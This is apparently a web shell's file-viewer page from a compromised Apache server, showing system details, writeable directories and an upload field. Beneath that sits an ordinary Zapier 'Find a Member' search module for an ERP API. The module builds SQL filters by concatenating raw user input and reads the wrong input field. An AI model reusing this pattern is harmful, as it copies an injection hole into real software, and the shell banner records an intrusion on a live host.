Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/dev/examples/zapier/searches/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/dev/examples/zapier/searches/member.js
module.exports = {
    key: 'member',

    // You'll want to provide some helpful display labels and descriptions
    // for users. Zapier will put them into the UX.
    noun: 'Member',
    display: {
        label: 'Find a Member',
        description: 'Search for member.'
    },

    // `operation` is where we make the call to your API to do the search
    operation: {
        // This search only has one search field. Your searches might have just one, or many
        // search fields.
        inputFields: [
            {
                key: 'lastname',
                type: 'string',
                label: 'Lastname',
                helpText: 'Lastname to limit to the search to (i.e. The company or %company%).'
            },
            {
                key: 'email',
                type: 'string',
                label: 'Email',
                helpText: 'Email to limit to the search to.'
            }
        ],

        perform: async (z, bundle) => {
            const url = bundle.authData.url + '/api/index.php/members/';

            // Put the search value in a query param. The details of how to build
            // a search URL will depend on how your API works.
            let filter = '';
            if (bundle.inputData.lastname) {
                filter = "t.lastname like \'%" + bundle.inputData.name + "%\'";
            }
            if (bundle.inputData.email) {
                if (bundle.inputData.lastname) {
                    filter += " and ";
                }
                filter += "t.email like \'" + bundle.inputData.email + "\'";
            }
            const response = await z.request({
                url: url,
                // this parameter avoid throwing errors and let us manage them
                skipThrowForStatus: true,
                params: {
                    sqlfilters: filter
                }
            });
            //z.console.log(response);
            if (response.status != 200) {
                return [];
            }
            return response.json;
        },

        // In cases where Zapier needs to show an example record to the user, but we are unable to get a live example
        // from the API, Zapier will fallback to this hard-coded sample. It should reflect the data structure of
        // returned records, and have obviously dummy values that we can show to any user.
        sample: {
            id: 1,
            createdAt: 1472069465,
            name: 'DOE',
            firstname: 'John',
            authorId: 1,
        },

        // If the resource can have fields that are custom on a per-user basis, define a function to fetch the custom
        // field definitions. The result will be used to augment the sample.
        // outputFields: () => { return []; }
        // Alternatively, a static field definition should be provided, to specify labels for the fields
        outputFields: [
            {
                key: 'id',
                type: "integer",
                label: 'ID'
            },
            { key: 'createdAt', type: "integer", label: 'Created At' },
            { key: 'name', label: 'Name' },
            { key: 'firstname', label: 'Firstname' },
            { key: 'authorId', type: "integer", label: 'Author ID' },
        ]
    }
};

Hry